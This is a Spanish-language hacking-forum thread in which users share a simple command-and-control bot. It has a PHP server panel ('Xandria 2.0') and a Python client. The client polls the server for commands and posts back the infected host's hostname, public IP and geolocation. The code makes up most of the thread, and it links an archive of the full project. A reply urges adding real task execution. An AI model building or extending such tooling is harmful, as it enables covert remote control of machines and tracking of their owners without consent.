Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: skollprog en 9 Enero 2018, 15:28 pm



Título: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: skollprog en 9 Enero 2018, 15:28 pm
Buenas, gente!

Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.

Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).

El archivo PHP que deben subir al servidor, es el siguiente:


Código
  1. <?php
  2.  
  3. $task = "task.txt";
  4.  
  5. if (!file_exists($task))
  6. {
  7. $handle = fopen($task, "a");
  8. fwrite($handle, "");
  9. fclose($handle);
  10. }
  11.  
  12. if (isset($_POST["send"]))
  13. {
  14. $handle = fopen($task, "w");
  15. fwrite($handle, date("Y-m-d H:i:s") . ";" . $_POST["send"]);
  16. fclose($handle);
  17. }
  18.  
  19. ?>
  20.  
  21. <form method="post" action="#">
  22. <input type="text" name="send" autocomplete="off">
  23. </form>

Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.

Código
  1. import requests
  2. import time
  3.  
  4. tasks = []
  5.  
  6. def getTask():
  7. url = "http://localhost/task.txt"
  8. task = requests.get(url).text.split(";")
  9. if len(task) > 1:
  10. if task[0] in tasks:
  11. return None
  12. else:
  13. tasks.append(task[0])
  14. return task[1]
  15. else:
  16. return None
  17.  
  18. while True:
  19.  
  20. task = getTask()
  21. if task != None:
  22. if task == "status":
  23. print("Bot status: Online.\n")
  24.  
  25. time.sleep(1)
  26.  

Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.

Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.

Espero que les guste.
Adios!


Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: engel lex en 9 Enero 2018, 15:34 pm
Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho


Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: skollprog en 9 Enero 2018, 15:48 pm
Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho


De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das.

Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar.

Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad.

https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY (https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY)

Clave: skollprog


Código PHP:

Código
  1. <?php
  2.  
  3. if (isset($_POST["xandria"]))
  4. {
  5.  
  6. if (isset($_POST["query"]))
  7. {
  8.  
  9. $query = $_POST["query"];
  10. $date  = date("Y-m-d H:i:s");
  11. $file  = fopen("query.txt", "w");
  12.  
  13. fwrite($file, $date . ", " . $query);
  14. fclose($file);
  15.  
  16. }
  17.  
  18. if (isset($_POST["logs"]))
  19. {
  20.  
  21. $logs  = $_POST["logs"];
  22. $argv  = explode(" ", $logs);
  23. $fname = "logs.txt";
  24.  
  25. if (file_exists($fname))
  26. {
  27.  
  28. $temp = file($fname);
  29.  
  30. if ($argv[0] == "-f" or $argv[0] == "first")
  31. {
  32. for ($i = 0; $i < $argv[1]; $i++)
  33. {
  34. if (isset($temp[$i]))
  35. {
  36. $data = explode(",", $temp[$i]);
  37. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  38. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  39. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  40. $info = trim($data[3]);
  41. echo $date . $name . $addr . $info . "<br>";
  42. }
  43. }
  44. }
  45. else if ($argv[0] == "-l" or $argv[0] == "last")
  46. {
  47. for ($i = 0; $i < $argv[1]; $i++)
  48. {
  49. if (isset($temp[$i]))
  50. {
  51. $x = count($temp) - 1 - $i;
  52. $data = explode(",", $temp[$x]);
  53. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  54. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  55. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  56. $info = trim($data[3]);
  57. echo $date . $name . $addr . $info . "<br>";
  58. }
  59. }
  60. }
  61. else if ($argv[0] == "-i" or $argv[0] == "index")
  62. {
  63. if ($argv[1] == "*" or $argv[1] == "all")
  64. {
  65. foreach ($temp as $log)
  66. {
  67. $data = explode(",", $log);
  68. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  69. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  70. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  71. $info = trim($data[3]);
  72. echo $date . $name . $addr . $info . "<br>";
  73. }
  74. }
  75. else
  76. {
  77. $i = $argv[1] - 1;
  78. if (isset($temp[$i]))
  79. {
  80. $data = explode(",", $temp[$i]);
  81. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  82. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  83. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  84. $info = trim($data[3]);
  85. echo $date . $name . $addr . $info . "<br>";
  86. }
  87. else
  88. {
  89. echo "invalid_log";
  90. }
  91. }
  92. }
  93. else
  94. {
  95. echo "invalid_argument";
  96. }
  97.  
  98. }
  99.  
  100. }
  101.  
  102. if (isset($_POST["server"]))
  103. {
  104. $url = "http://" . $_SERVER["HTTP_HOST"] . "/";
  105. echo $url . "<br>";
  106. }
  107.  
  108. if (isset($_POST["build"]))
  109. {
  110. $file = "xandria.py";
  111. echo $file . "<br>";
  112. }
  113.  
  114. if (isset($_POST["report"]))
  115. {
  116. $fname = "logs.txt";
  117. $file  = fopen($fname, "a+");
  118. $host  = $_POST["host"];
  119. $ip    = $_POST["ip"];
  120. $msg   = $_POST["report"];
  121. fwrite($file, date("Y-m-d H:i:s") . ", " . $host . ", " . $ip . ", " . $msg . "\n");
  122. fclose($file);
  123. }
  124.  
  125. }
  126. else
  127. {
  128.  
  129. ?>
  130.  
  131. <!DOCTYPE html>
  132. <html>
  133. <head>
  134. <title>Xandria 2.0 - Client</title>
  135. <meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
  136. <script type="text/javascript" src="assets/js/jquery.js"></script>
  137. <script type="text/javascript" src="assets/js/terminal.js"></script>
  138. <link rel="stylesheet" type="text/css" href="assets/css/styles.css">
  139. </head>
  140. <body>
  141.  
  142. <span class="bg-black tag-init">&nbsp;</span> <span class="bg-black">&nbsp; &nbsp; &nbsp;XANDRIA&nbsp;</span> 2.0
  143. <div class="content"></div>
  144. <div class="prompt"><br>
  145. &#9633;:// <input type="text" name="prompt">
  146. </div>
  147.  
  148. </body>
  149. </html>
  150.  
  151. <?php } ?>


Código Python:

Código
  1. import time
  2. import socket
  3. import requests
  4. import json
  5.  
  6. SERVER_URL = "http://localhost/xandria/"
  7.  
  8. def geolocate():
  9. try:
  10. url  = "http://freegeoip.net/json"
  11. data = requests.get(url)
  12. data = json.loads(data.text)
  13. return data
  14. except: return None
  15.  
  16. def ip():
  17. data = geolocate()
  18. if data != None:
  19. return data["ip"]
  20. else: return "unknown"
  21.  
  22. def country():
  23. data = geolocate()
  24. if data != None:
  25. return data["country_name"]
  26. else: return "unknown"
  27.  
  28. def city():
  29. data = geolocate()
  30. if data != None:
  31. return data["city"]
  32. else: return "unknown"
  33.  
  34. def timezone():
  35. data = geolocate()
  36. if data != None:
  37. return data["time_zone"]
  38. else: return "unknown"
  39.  
  40. def geocoords():
  41. data = geolocate()
  42. if data != None:
  43. coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"])
  44. return coords
  45. else: return "unknown"
  46.  
  47. def hostname():
  48. try:
  49. return socket.gethostname()
  50. except: return "unknown"
  51.  
  52. def query():
  53. try:
  54. data = requests.get(server + "query.txt").text.split(",")
  55. if data[0] in queries:
  56. return None
  57. else:
  58. queries.append(data[0])
  59. return data[1].strip()
  60. except: return None
  61.  
  62. def report(message):
  63. try:
  64. requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message})
  65. except: pass
  66.  
  67. host    = hostname()
  68. address = ip()
  69. server  = SERVER_URL
  70. queries = []
  71.  
  72. report("Online")
  73.  
  74. while True:
  75.  
  76. try:
  77. data = query()
  78. if data != None:
  79. argv = data.split(" ")
  80. if data == "hostname" : report(hostname())
  81. if data == "ip"       : report(ip())
  82. if data == "country"  : report(country())
  83. if data == "city"     : report(city())
  84. if data == "timezone" : report(timezone())
  85. if data == "geocoords": report(geocoords())
  86.  
  87. except:
  88. pass
  89.  
  90. time.sleep(5)


Título: Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
Publicado por: Flamer en 9 Enero 2018, 23:32 pm
Buen aporte.....

me creerias si te digo que yo ya lo habia pensado.
pero como cliente usaba un vbs para comunicarme con el servidor que contenia el php

saludos Flamer y si no lo publique nunca fue por que crei que lo mirarian muy simple y sencillo